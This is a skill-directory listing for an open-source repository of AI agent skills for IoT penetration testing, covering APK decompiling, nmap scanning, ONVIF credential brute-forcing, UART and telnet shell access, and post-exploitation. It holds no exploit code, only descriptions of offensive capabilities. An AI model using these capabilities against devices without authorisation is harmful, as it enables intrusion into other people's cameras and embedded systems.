#989 by GitHub stars
BrownFineSecurity/iothackbot
IoT HackBot: A collection of Claude Skills and custom tooling for hybrid IoT pentesting
History
Review weekly changes to SKILL.md before updating. Dates mark the weeks in which we observed each version; checks apply to the recorded commits.
View weekly changes
skills/apktool/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
d443c408a9fd → d443c408a9fd
skills/chipsec/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
d443c408a9fd → d443c408a9fd
skills/ffind/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
d443c408a9fd → d443c408a9fd
skills/iotnet/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
d443c408a9fd → d443c408a9fd
skills/jadx/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
d443c408a9fd → d443c408a9fd
skills/jtagprobe/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
d443c408a9fd → d443c408a9fd
skills/logicmso/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
d443c408a9fd → d443c408a9fd
skills/netflows/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
d443c408a9fd → d443c408a9fd
skills/nmap/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
d443c408a9fd → d443c408a9fd
skills/onvifscan/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
d443c408a9fd → d443c408a9fd
skills/picocom/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
d443c408a9fd → d443c408a9fd
skills/telnetshell/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
d443c408a9fd → d443c408a9fd
skills/wsdiscovery/SKILL.md
Week of Oct 26, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
d443c408a9fd → d443c408a9fd
View on GitHubAdd to my skills
Verified commit d443c408a9fdd83f97d8c354b9c639afa2251974
git clone --filter=blob:none --no-checkout https://github.com/BrownFineSecurity/iothackbot.git .hotskills/brownfinesecurity-iothackbot && git -C .hotskills/brownfinesecurity-iothackbot checkout --detach d443c408a9fdd83f97d8c354b9c639afa2251974
# Copy each selected skill directory from .hotskills/brownfinesecurity-iothackbot into .claude/skills/<skill-name>/880GitHub stars
3stars in 7 days
13skills in this repository
0commits in 30 days
Heat
2.3- Star growth, last 7 daysAhead of 59% of tracked repositories
- Star growth, last 24 hoursAhead of 3% of tracked repositories
- Rank movement, last 7 daysAhead of 4% of tracked repositories
- Commits, last 30 daysAhead of 0% of tracked repositories
- Accounts asking about it through MCP, last 7 daysNot available
- Hot votes this weekAhead of 0% of tracked repositories
Heat never changes the order by stars, and sponsorship never touches it. How heat works
Stars over time
Individual skills in this repository
How it works
apktool
When your agent uses it
Android APK unpacking and resource extraction tool for reverse engineering. Use when you need to decode APK files, extract resources, examine AndroidManifest.xml, analyze smali code, or repackage modified APKs.
What it loads into context
Frontmatter
48 tokensAlways available to the agent
SKILL.md
3,314 tokensWhen the skill is activated
Reference documents
46,050 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Tool Overview
- Prerequisites
- Instructions
- Common Workflows
- Output Formats
- Integration with IoTHackBot Tools
- Best Practices
- Troubleshooting
- Important Notes
- Security and Ethics
- Success Criteria
- Quick Reference
Scripts executed separately
../logicmso/analyze_protocol.py../picocom/serial_helper.py../telnetshell/telnet_helper.py
Files
../../.claude-plugin/marketplace.jsonasset437 bytes../../.claude-plugin/plugin.jsonasset592 bytesSKILL.mdcore13,096 bytesSKILL.mdcore13,096 bytesSKILL.mdcore13,096 bytesSKILL.mdcore13,096 bytesSKILL.mdcore13,096 bytesSKILL.mdcore13,096 bytesSKILL.mdcore13,096 bytesSKILL.mdcore13,096 bytesSKILL.mdcore13,096 bytesSKILL.mdcore13,096 bytesSKILL.mdcore13,096 bytesSKILL.mdcore13,096 bytesSKILL.mdcore13,096 bytesSKILL.mdcore13,096 bytesSKILL.mdcore13,096 bytesSKILL.mdcore13,096 bytesSKILL.mdcore13,096 bytesSKILL.mdcore13,096 bytesSKILL.mdcore13,096 bytesSKILL.mdcore13,096 bytesSKILL.mdcore13,096 bytesSKILL.mdcore13,096 bytesSKILL.mdcore13,096 bytesSKILL.mdcore13,096 bytesSKILL.mdcore13,096 bytesSKILL.mdcore13,096 bytesSKILL.mdcore13,096 bytesSKILL.mdcore13,096 bytesSKILL.mdcore13,096 bytesSKILL.mdcore13,096 bytesSKILL.mdcore13,096 bytesSKILL.mdcore13,096 bytes../chipsec/SKILL.mddoc16,131 bytes../ffind/SKILL.mddoc2,918 bytes../iotnet/SKILL.mddoc4,013 bytes../jadx/SKILL.mddoc17,863 bytes../jtagprobe/SKILL.mddoc5,750 bytes../logicmso/SKILL.mddoc8,475 bytes../logicmso/analyze_protocol.pyruns11,623 bytes../logicmso/examples.mddoc6,432 bytes../netflows/SKILL.mddoc4,116 bytes../nmap/SKILL.mddoc15,260 bytes../onvifscan/SKILL.mddoc2,431 bytes../picocom/OBSERVING_SESSIONS.mddoc9,102 bytes../picocom/SKILL.mddoc27,237 bytes../picocom/examples.mddoc11,325 bytes../picocom/serial_helper.pyruns32,372 bytes../telnetshell/OBSERVING_SESSIONS.mddoc7,804 bytes../telnetshell/SKILL.mddoc16,093 bytes../telnetshell/enum_files.txtdoc693 bytes../telnetshell/enum_network.txtdoc543 bytes../telnetshell/enum_security.txtdoc1,017 bytes../telnetshell/enum_system.txtdoc563 bytes../telnetshell/examples.mddoc13,029 bytes../telnetshell/telnet_helper.pyruns15,874 bytes../wsdiscovery/SKILL.mddoc2,511 bytes
Read SKILL.md
# Apktool - Android APK Unpacking and Resource Extraction
You are helping the user reverse engineer Android APK files using apktool for security analysis, vulnerability discovery, and understanding app internals.
## Tool Overview
Apktool is a tool for reverse engineering Android APK files. It can decode resources to nearly original form and rebuild them after modifications. It's essential for:
- Extracting readable AndroidManifest.xml
- Decoding resources (XML layouts, strings, images)
- Disassembling DEX to smali code
- Analyzing app structure and permissions
- Repackaging modified APKs
## Prerequisiteschipsec
When your agent uses it
Static analysis of UEFI/BIOS firmware dumps using Intel's chipsec framework. Decode firmware structure, detect known malware and rootkits (LoJax, ThinkPwn, HackingTeam, MosaicRegressor), generate EFI executable inventories with hashes, extract NVRAM variables, and parse SPI flash descriptors. Use when analyzing firmware .bin/.rom/.fd/.cap files offline without requiring hardware access.
What it loads into context
Frontmatter
89 tokensAlways available to the agent
SKILL.md
4,206 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Tool Overview
- Prerequisites
- Core Commands
- Supported Firmware Formats
- Workflows
- Output Interpretation
- Integration with IoTHackBot Tools
- Troubleshooting
- Best Practices
- Command Reference
- Security and Ethics
- Success Criteria
Files
SKILL.mdcore16,131 bytesSKILL.mdcore16,131 bytesSKILL.mdcore16,131 bytesSKILL.mdcore16,131 bytesSKILL.mdcore16,131 bytesSKILL.mdcore16,131 bytesSKILL.mdcore16,131 bytesSKILL.mdcore16,131 bytesSKILL.mdcore16,131 bytesSKILL.mdcore16,131 bytesSKILL.mdcore16,131 bytesSKILL.mdcore16,131 bytesSKILL.mdcore16,131 bytesSKILL.mdcore16,131 bytesSKILL.mdcore16,131 bytesSKILL.mdcore16,131 bytesSKILL.mdcore16,131 bytesSKILL.mdcore16,131 bytesSKILL.mdcore16,131 bytesSKILL.mdcore16,131 bytesSKILL.mdcore16,131 bytesSKILL.mdcore16,131 bytesSKILL.mdcore16,131 bytesSKILL.mdcore16,131 bytesSKILL.mdcore16,131 bytesSKILL.mdcore16,131 bytesSKILL.mdcore16,131 bytes
Read SKILL.md
# Chipsec - UEFI Firmware Static Analysis
You are helping the user perform static security analysis of UEFI/BIOS firmware dumps using Intel's chipsec framework. This skill focuses exclusively on offline analysis capabilities that do not require kernel driver access or root privileges.
## Tool Overview
Chipsec is Intel's Platform Security Assessment Framework. For static analysis of firmware dumps, it provides:
- EFI executable inventory generation with cryptographic hashes
- Detection of known UEFI malware and vulnerabilities
- Firmware structure decoding and extraction
- NVRAM/UEFI variable extraction
- SPI flash descriptor parsing
- Baseline comparison for change detectionffind
When your agent uses it
Advanced file finder with type detection and filesystem extraction for analyzing firmware and extracting embedded filesystems. Use when you need to analyze firmware files, identify file types, or extract ext2/3/4 or F2FS filesystems.
What it loads into context
Frontmatter
53 tokensAlways available to the agent
SKILL.md
753 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Tool Overview
- Instructions
- Examples
- Important Notes
Scripts executed separately
../../bin/ffind
Files
../../bin/ffindruns328 bytesSKILL.mdcore2,918 bytesSKILL.mdcore2,918 bytesSKILL.mdcore2,918 bytesSKILL.mdcore2,918 bytesSKILL.mdcore2,918 bytes
Read SKILL.md
# Ffind - Advanced File Finder with Extraction
You are helping the user find and analyze files with advanced type detection and optional filesystem extraction capabilities using the ffind tool.
## Tool Overview
Ffind analyzes files and directories, identifies file types, and can extract filesystems (ext2/3/4, F2FS) for deeper analysis. It's designed for firmware and IoT device analysis.
## Instructions
When the user asks to analyze files, find specific file types, or extract filesystems:
1. **Understand the target**:
- Ask what path(s) they want to analyzeiotnet
When your agent uses it
IoT network traffic analyzer for detecting IoT protocols and identifying security vulnerabilities in network communications. Use when you need to analyze network traffic, identify IoT protocols, or assess network security of IoT devices.
What it loads into context
Frontmatter
49 tokensAlways available to the agent
SKILL.md
974 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Tool Overview
- Instructions
- Usage Modes
- Parameters
- Examples
- Detected IoT Protocols
- Security Checks
- Output Information
- Important Notes
Files
SKILL.mdcore4,013 bytesSKILL.mdcore4,013 bytesSKILL.mdcore4,013 bytesSKILL.mdcore4,013 bytesSKILL.mdcore4,013 bytesSKILL.mdcore4,013 bytesSKILL.mdcore4,013 bytesSKILL.mdcore4,013 bytesSKILL.mdcore4,013 bytes
Read SKILL.md
# IoTNet - IoT Network Traffic Analyzer
You are helping the user analyze network traffic to detect IoT protocols and identify security vulnerabilities using the iotnet tool.
## Tool Overview
IoTNet analyzes network packet captures (PCAPs) or performs live traffic capture to:
- Detect IoT-specific protocols (MQTT, CoAP, Zigbee, etc.)
- Identify security vulnerabilities in network traffic
- Analyze protocol distribution
- Find unencrypted communications
- Detect weak authentication mechanisms
- Identify insecure IoT device behaviors
jadx
When your agent uses it
Android APK decompiler that converts DEX bytecode to readable Java source code. Use when you need to decompile APK files, analyze app logic, search for vulnerabilities, find hardcoded credentials, or understand app behavior through readable source code.
What it loads into context
Frontmatter
54 tokensAlways available to the agent
SKILL.md
4,668 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Tool Overview
- Prerequisites
- GUI vs CLI
- Instructions
- Common Workflows
- Best Practices
- Troubleshooting
- Advanced Features
- Integration with IoTHackBot Tools
- Quick Reference
- Security Analysis Checklist
- Important Notes
- Security and Ethics
- Success Criteria
Files
SKILL.mdcore17,863 bytesSKILL.mdcore17,863 bytesSKILL.mdcore17,863 bytesSKILL.mdcore17,863 bytesSKILL.mdcore17,863 bytesSKILL.mdcore17,863 bytesSKILL.mdcore17,863 bytesSKILL.mdcore17,863 bytesSKILL.mdcore17,863 bytesSKILL.mdcore17,863 bytesSKILL.mdcore17,863 bytesSKILL.mdcore17,863 bytesSKILL.mdcore17,863 bytesSKILL.mdcore17,863 bytesSKILL.mdcore17,863 bytesSKILL.mdcore17,863 bytesSKILL.mdcore17,863 bytesSKILL.mdcore17,863 bytesSKILL.mdcore17,863 bytesSKILL.mdcore17,863 bytesSKILL.mdcore17,863 bytesSKILL.mdcore17,863 bytesSKILL.mdcore17,863 bytesSKILL.mdcore17,863 bytesSKILL.mdcore17,863 bytesSKILL.mdcore17,863 bytesSKILL.mdcore17,863 bytesSKILL.mdcore17,863 bytesSKILL.mdcore17,863 bytesSKILL.mdcore17,863 bytesSKILL.mdcore17,863 bytesSKILL.mdcore17,863 bytesSKILL.mdcore17,863 bytesSKILL.mdcore17,863 bytesSKILL.mdcore17,863 bytesSKILL.mdcore17,863 bytesSKILL.mdcore17,863 bytesSKILL.mdcore17,863 bytesSKILL.mdcore17,863 bytesSKILL.mdcore17,863 bytesSKILL.mdcore17,863 bytesSKILL.mdcore17,863 bytesSKILL.mdcore17,863 bytesSKILL.mdcore17,863 bytesSKILL.mdcore17,863 bytesSKILL.mdcore17,863 bytesSKILL.mdcore17,863 bytesSKILL.mdcore17,863 bytesSKILL.mdcore17,863 bytesSKILL.mdcore17,863 bytesSKILL.mdcore17,863 bytesSKILL.mdcore17,863 bytes
Read SKILL.md
# Jadx - Android APK Decompiler
You are helping the user decompile Android APK files using jadx to convert DEX bytecode into readable Java source code for security analysis, vulnerability discovery, and understanding app internals.
## Tool Overview
Jadx is a dex to Java decompiler that produces clean, readable Java source code from Android APK files. Unlike apktool (which produces smali), jadx generates actual Java code that's much easier to read and analyze. It's essential for:
- Converting DEX bytecode to readable Java source
- Understanding app logic and control flow
- Finding security vulnerabilities in code
- Discovering hardcoded credentials, API keys, URLs
- Analyzing encryption/authentication implementations
- Searching through code with familiar Java syntax
jtagprobe
When your agent uses it
Probe IoT/embedded targets for exposed SWD/JTAG debug interfaces using a SEGGER J-Link. Detects whether debug is OPEN, LOCKED (readout-protected), or DEAD (fused off). Use when assessing whether a target's on-chip debug port can be reached, identifying the silicon vendor from DPIDR/IDCODE, and confirming halt+memory access for full debugger control.
What it loads into context
Frontmatter
89 tokensAlways available to the agent
SKILL.md
1,530 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- What the tool tests
- Prerequisites
- Basic usage
- Common workflows
- Interpreting the output
- Writeup-relevant detail
- When the user says "test for JTAG"
- Limitations
Files
SKILL.mdcore5,750 bytesSKILL.mdcore5,750 bytesSKILL.mdcore5,750 bytesSKILL.mdcore5,750 bytesSKILL.mdcore5,750 bytesSKILL.mdcore5,750 bytesSKILL.mdcore5,750 bytesSKILL.mdcore5,750 bytesSKILL.mdcore5,750 bytesSKILL.mdcore5,750 bytes
Read SKILL.md
# Jtagprobe — SWD/JTAG Debug Interface Tester
You are helping the user determine whether a target's on-chip debug interface is exposed via SWD or JTAG, using the `jtagprobe` tool. This drives a SEGGER J-Link physically wired to the target.
## What the tool tests
Three nested access layers are checked, and the target is classified into one of:
- `OPEN` — DP responds, CPU halts, memory reads return plausible data. Full debugger control. Critical finding.
- `LOCKED` — DP/IDCODE accessible but memory reads fail or return readout-protection sentinels (0xFFFFFFFF). Indicates STM32 RDP, NXP CRP, Nordic APPROTECT, etc. are engaged. Still a finding — the port should not respond at all in production.
- `DEAD` — No DP/IDCODE response on any tested interface/speed. Debug fused off, pins not wired, or wrong target.
## Prerequisites
logicmso
When your agent uses it
Analyze digital and analog captures from Saleae Logic MSO devices. Decode protocols like UART, SPI, I2C from exported binary files. Use when analyzing logic analyzer captures for CTF challenges, hardware reverse engineering, or protocol decoding.
What it loads into context
Frontmatter
55 tokensAlways available to the agent
SKILL.md
2,215 tokensWhen the skill is activated
Reference documents
1,766 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Prerequisites
- Quick Reference
- Helper Scripts
- Common Protocol Patterns
- Analysis Workflow
- UART Decoding Example
- CTF Tips
- Troubleshooting
Scripts executed separately
analyze_protocol.py
Files
SKILL.mdcore8,475 bytesSKILL.mdcore8,475 bytesSKILL.mdcore8,475 bytesSKILL.mdcore8,475 bytesSKILL.mdcore8,475 bytesSKILL.mdcore8,475 bytesSKILL.mdcore8,475 bytesSKILL.mdcore8,475 bytesSKILL.mdcore8,475 bytesSKILL.mdcore8,475 bytesSKILL.mdcore8,475 bytesanalyze_protocol.pyruns11,623 bytesexamples.mddoc6,432 bytes
Read SKILL.md
# Saleae Logic MSO Analysis
This skill enables analysis of captured signals from Saleae Logic MSO devices using the `saleae-mso-api` Python library. It supports loading binary exports, analyzing signal transitions, and decoding common protocols.
## Prerequisites
- `saleae-mso-api` Python package — **Do NOT blindly pip install.** First check if it's already installed:
```bash
python3 -c "from saleae.mso_api.binary_files import read_file; print('saleae-mso-api is available')"
```
Only if that fails, install it: `pip install saleae-mso-api`
- Binary export files from Saleae Logic software (`.bin` format)
## Quick Referencenetflows
When your agent uses it
Network flow extractor that analyzes pcap/pcapng files to identify outbound connections with automatic DNS hostname resolution. Use when you need to enumerate network destinations, identify what hosts a device communicates with, or map IP addresses to hostnames from packet captures.
What it loads into context
Frontmatter
57 tokensAlways available to the agent
SKILL.md
958 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Tool Overview
- Instructions
- Usage
- Parameters
- Examples
- Output Information
- Use Cases
- Important Notes
Files
SKILL.mdcore4,116 bytesSKILL.mdcore4,116 bytesSKILL.mdcore4,116 bytesSKILL.mdcore4,116 bytesSKILL.mdcore4,116 bytesSKILL.mdcore4,116 bytesSKILL.mdcore4,116 bytesSKILL.mdcore4,116 bytesSKILL.mdcore4,116 bytesSKILL.mdcore4,116 bytes
Read SKILL.md
# NetFlows - Network Flow Extractor with DNS Resolution
You are helping the user extract and analyze network flows from packet capture files using the netflows tool.
## Tool Overview
NetFlows analyzes pcap/pcapng files to:
- Extract unique TCP and UDP flows (destination IP:port pairs)
- Build a DNS resolution table from DNS responses in the capture
- Automatically resolve IP addresses to hostnames where possible
- Filter flows by source IP address
- Generate a summary of all network destinations contacted
This is particularly useful for IoT device analysis to understand what external services a device communicates with.nmap
When your agent uses it
Professional network reconnaissance and port scanning using nmap. Supports various scan types (quick, full, UDP, stealth), service detection, vulnerability scanning, and NSE scripts. Use when you need to enumerate network services, detect versions, or perform network reconnaissance.
What it loads into context
Frontmatter
57 tokensAlways available to the agent
SKILL.md
4,314 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Output Directory
- Default Scanning Strategy
- Implementation Workflow
- Scan Types
- Scan Workflow
- Output Management
- Timing and Performance
- Network Ranges
- NSE Scripts
- Result Analysis
- Common IoT Service Ports
- Best Practices
- Integration with IoT Testing Workflow
- Troubleshooting
- Example Workflows
- Questions to Ask User
- Success Criteria
Files
SKILL.mdcore15,260 bytesSKILL.mdcore15,260 bytesSKILL.mdcore15,260 bytesSKILL.mdcore15,260 bytesSKILL.mdcore15,260 bytesSKILL.mdcore15,260 bytesSKILL.mdcore15,260 bytesSKILL.mdcore15,260 bytesSKILL.mdcore15,260 bytesSKILL.mdcore15,260 bytesSKILL.mdcore15,260 bytesSKILL.mdcore15,260 bytesSKILL.mdcore15,260 bytesSKILL.mdcore15,260 bytesSKILL.mdcore15,260 bytesSKILL.mdcore15,260 bytesSKILL.mdcore15,260 bytesSKILL.mdcore15,260 bytesSKILL.mdcore15,260 bytesSKILL.mdcore15,260 bytesSKILL.mdcore15,260 bytesSKILL.mdcore15,260 bytesSKILL.mdcore15,260 bytesSKILL.mdcore15,260 bytesSKILL.mdcore15,260 bytesSKILL.mdcore15,260 bytesSKILL.mdcore15,260 bytesSKILL.mdcore15,260 bytesSKILL.mdcore15,260 bytesSKILL.mdcore15,260 bytesSKILL.mdcore15,260 bytesSKILL.mdcore15,260 bytesSKILL.mdcore15,260 bytesSKILL.mdcore15,260 bytesSKILL.mdcore15,260 bytesSKILL.mdcore15,260 bytesSKILL.mdcore15,260 bytesSKILL.mdcore15,260 bytesSKILL.mdcore15,260 bytesSKILL.mdcore15,260 bytes
Read SKILL.md
# Nmap Scan - Professional Network Reconnaissance
You are helping the user perform professional network reconnaissance and port scanning using nmap. This skill provides guidance for various scan types, output formats, and result analysis.
## Output Directory
### Directory Structure
```bash
nmap-output/
├── nmap-portscan.nmap # Initial fast port discovery
├── nmap-portscan.xml
├── nmap-portscan.gnmap
├── nmap-services.nmap # Detailed service detection on open ports
├── nmap-services.xmlonvifscan
When your agent uses it
ONVIF device security scanner for testing authentication and brute-forcing credentials. Use when you need to assess security of IP cameras or ONVIF-enabled devices.
What it loads into context
Frontmatter
41 tokensAlways available to the agent
SKILL.md
628 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Tool Overview
- Instructions
- Subcommands
- Examples
- Important Notes
Files
SKILL.mdcore2,431 bytesSKILL.mdcore2,431 bytesSKILL.mdcore2,431 bytesSKILL.mdcore2,431 bytesSKILL.mdcore2,431 bytesSKILL.mdcore2,431 bytes
Read SKILL.md
# Onvifscan - ONVIF Security Scanner
You are helping the user scan ONVIF devices for security issues including authentication bypasses and weak credentials using the onvifscan tool.
## Tool Overview
Onvifscan is an ONVIF device security scanner that can:
- Test for unauthenticated access to ONVIF endpoints
- Perform credential brute-forcing attacks
## Instructions
When the user asks to scan ONVIF devices, test IP cameras, or assess IoT device security:
picocom
When your agent uses it
Use picocom to interact with IoT device UART consoles for pentesting operations including device enumeration, vulnerability discovery, bootloader manipulation, and gaining root shells. Use when the user needs to interact with embedded devices, IoT hardware, or serial consoles.
What it loads into context
Frontmatter
57 tokensAlways available to the agent
SKILL.md
7,363 tokensWhen the skill is activated
Reference documents
5,732 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Prerequisites
- Recommended Approach: Serial Helper Script
- Alternative: Direct picocom Usage (Advanced)
- Instructions
- Common IoT Device Scenarios
- Security Testing Checklist
- Best Practices
- Troubleshooting
- Example Usage
- References
Scripts executed separately
serial_helper.py
Files
OBSERVING_SESSIONS.mddoc9,102 bytesSKILL.mdcore27,237 bytesSKILL.mdcore27,237 bytesSKILL.mdcore27,237 bytesSKILL.mdcore27,237 bytesSKILL.mdcore27,237 bytesSKILL.mdcore27,237 bytesSKILL.mdcore27,237 bytesSKILL.mdcore27,237 bytesSKILL.mdcore27,237 bytesSKILL.mdcore27,237 bytesSKILL.mdcore27,237 bytesSKILL.mdcore27,237 bytesSKILL.mdcore27,237 bytesSKILL.mdcore27,237 bytesSKILL.mdcore27,237 bytesSKILL.mdcore27,237 bytesSKILL.mdcore27,237 bytesSKILL.mdcore27,237 bytesSKILL.mdcore27,237 bytesSKILL.mdcore27,237 bytesSKILL.mdcore27,237 bytesSKILL.mdcore27,237 bytesSKILL.mdcore27,237 bytesSKILL.mdcore27,237 bytesSKILL.mdcore27,237 bytesSKILL.mdcore27,237 bytesSKILL.mdcore27,237 bytesSKILL.mdcore27,237 bytesSKILL.mdcore27,237 bytesSKILL.mdcore27,237 bytesSKILL.mdcore27,237 bytesSKILL.mdcore27,237 bytesSKILL.mdcore27,237 bytesSKILL.mdcore27,237 bytesSKILL.mdcore27,237 bytesSKILL.mdcore27,237 bytesSKILL.mdcore27,237 bytesSKILL.mdcore27,237 bytesSKILL.mdcore27,237 bytesSKILL.mdcore27,237 bytesSKILL.mdcore27,237 bytesSKILL.mdcore27,237 bytesSKILL.mdcore27,237 bytesSKILL.mdcore27,237 bytesSKILL.mdcore27,237 bytesSKILL.mdcore27,237 bytesSKILL.mdcore27,237 bytesSKILL.mdcore27,237 bytesSKILL.mdcore27,237 bytesSKILL.mdcore27,237 bytesSKILL.mdcore27,237 bytesSKILL.mdcore27,237 bytesSKILL.mdcore27,237 bytesSKILL.mdcore27,237 bytesSKILL.mdcore27,237 bytesSKILL.mdcore27,237 bytesSKILL.mdcore27,237 bytesSKILL.mdcore27,237 bytesSKILL.mdcore27,237 bytesSKILL.mdcore27,237 bytesSKILL.mdcore27,237 bytesSKILL.mdcore27,237 bytesSKILL.mdcore27,237 bytesSKILL.mdcore27,237 bytesSKILL.mdcore27,237 bytesexamples.mddoc11,325 bytesserial_helper.pyruns32,372 bytes
Read SKILL.md
# IoT UART Console (picocom)
This skill enables interaction with IoT device UART consoles using picocom for security testing and penetration testing operations. It supports bootloader interaction, shell access (with or without authentication), device enumeration, and vulnerability discovery.
## Prerequisites
- picocom must be installed on the system
- Python 3 with pyserial library (`sudo pacman -S python-pyserial` on Arch, or `pip install pyserial`)
- UART connection to the target device (USB-to-serial adapter, FTDI cable, etc.)
- Appropriate permissions to access serial devices (typically /dev/ttyUSB* or /dev/ttyACM*)
## Recommended Approach: Serial Helper Script
**IMPORTANT**: This skill includes a Python helper script (`serial_helper.py`) that provides a clean, reliable interface for serial communication. **This is the RECOMMENDED method** for interacting with IoT devices.telnetshell
When your agent uses it
Use telnet to interact with IoT device shells for pentesting operations including device enumeration, vulnerability discovery, credential testing, and post-exploitation. Use when the user needs to interact with network-accessible shells, IoT devices, or telnet services.
What it loads into context
Frontmatter
60 tokensAlways available to the agent
SKILL.md
4,344 tokensWhen the skill is activated
Reference documents
6,003 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Prerequisites
- Recommended Approach: Telnet Helper Script
- Instructions
- Common IoT Device Scenarios
- Security Testing Checklist
- Best Practices
- Troubleshooting
- Pre-built Enumeration Scripts
- Example Usage
- References
Scripts executed separately
telnet_helper.py
Files
OBSERVING_SESSIONS.mddoc7,804 bytesSKILL.mdcore16,093 bytesSKILL.mdcore16,093 bytesSKILL.mdcore16,093 bytesSKILL.mdcore16,093 bytesSKILL.mdcore16,093 bytesSKILL.mdcore16,093 bytesSKILL.mdcore16,093 bytesSKILL.mdcore16,093 bytesSKILL.mdcore16,093 bytesSKILL.mdcore16,093 bytesSKILL.mdcore16,093 bytesSKILL.mdcore16,093 bytesSKILL.mdcore16,093 bytesSKILL.mdcore16,093 bytesSKILL.mdcore16,093 bytesSKILL.mdcore16,093 bytesSKILL.mdcore16,093 bytesSKILL.mdcore16,093 bytesSKILL.mdcore16,093 bytesSKILL.mdcore16,093 bytesSKILL.mdcore16,093 bytesSKILL.mdcore16,093 bytesSKILL.mdcore16,093 bytesSKILL.mdcore16,093 bytesSKILL.mdcore16,093 bytesSKILL.mdcore16,093 bytesSKILL.mdcore16,093 bytesSKILL.mdcore16,093 bytesSKILL.mdcore16,093 bytesSKILL.mdcore16,093 bytesSKILL.mdcore16,093 bytesSKILL.mdcore16,093 bytesSKILL.mdcore16,093 bytesSKILL.mdcore16,093 bytesSKILL.mdcore16,093 bytesSKILL.mdcore16,093 bytesSKILL.mdcore16,093 bytesSKILL.mdcore16,093 bytesSKILL.mdcore16,093 bytesSKILL.mdcore16,093 bytesSKILL.mdcore16,093 bytesSKILL.mdcore16,093 bytesSKILL.mdcore16,093 bytesSKILL.mdcore16,093 bytesSKILL.mdcore16,093 bytesenum_files.txtdoc693 bytesenum_network.txtdoc543 bytesenum_security.txtdoc1,017 bytesenum_system.txtdoc563 bytesexamples.mddoc13,029 bytestelnet_helper.pyruns15,874 bytes
Read SKILL.md
# IoT Telnet Shell (telnetshell)
This skill enables interaction with IoT device shells accessible via telnet for security testing and penetration testing operations. It supports unauthenticated shells, weak authentication testing, device enumeration, and post-exploitation activities.
## Prerequisites
- Python 3 with pexpect library (`pip install pexpect` or `sudo pacman -S python-pexpect`)
- telnet client installed on the system (`sudo pacman -S inetutils` on Arch)
- Network access to the target device's telnet port
## Recommended Approach: Telnet Helper Script
**IMPORTANT**: This skill includes a Python helper script (`telnet_helper.py`) that provides a clean, reliable interface for telnet communication. **This is the RECOMMENDED method** for interacting with IoT devices.
wsdiscovery
When your agent uses it
WS-Discovery protocol scanner for discovering and enumerating ONVIF cameras and IoT devices on the network. Use when you need to discover ONVIF devices, cameras, or WS-Discovery enabled equipment on a network.
What it loads into context
Frontmatter
53 tokensAlways available to the agent
SKILL.md
596 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Tool Overview
- Instructions
- What It Discovers
- Examples
- Important Notes
Files
SKILL.mdcore2,511 bytesSKILL.mdcore2,511 bytesSKILL.mdcore2,511 bytesSKILL.mdcore2,511 bytesSKILL.mdcore2,511 bytes
Read SKILL.md
# Wsdiscovery - WS-Discovery Protocol Scanner
You are helping the user discover and enumerate devices using the WS-Discovery protocol (commonly used by ONVIF cameras and IoT devices) using the wsdiscovery tool.
## Tool Overview
Wsdiscovery implements the WS-Discovery protocol to discover network devices that support this standard. It's particularly useful for finding ONVIF cameras, network video recorders (NVRs), and other IoT devices that advertise themselves via WS-Discovery.
## Instructions
When the user asks to discover ONVIF devices, find network cameras, or scan for WS-Discovery devices:
1. **Understand the target**:
- Ask for the target hostname or IP addressSkills included
- apktool
- chipsec
- ffind
- iotnet
- jadx
- jtagprobe
- logicmso
- netflows
- nmap
- onvifscan
- picocom
- telnetshell
- wsdiscovery
Repository facts
- License
- MIT
- Created
- Nov 17, 2025
- Last pushed
- Jun 1, 2026
- Forks
- 142
- Open issues
- 3
- Project activity
- Slowing
Rank over the last 12 weeks
Now #989 · best #636 · down 244 in 30 days
- #971 on Nov 1
- #977 on Nov 2
- #982 on Nov 3
- #985 on Nov 4
- #987 on Nov 5
- #989 since Nov 6
44 earlier periods
- #703 on Aug 1
- #619 on Aug 7
- #615 on Aug 8
- #650 on Aug 10
- #656 on Aug 12
- #674 on Aug 18
- #664 on Aug 21
- #636 on Aug 22
- #706 on Aug 28
- #691 on Aug 31
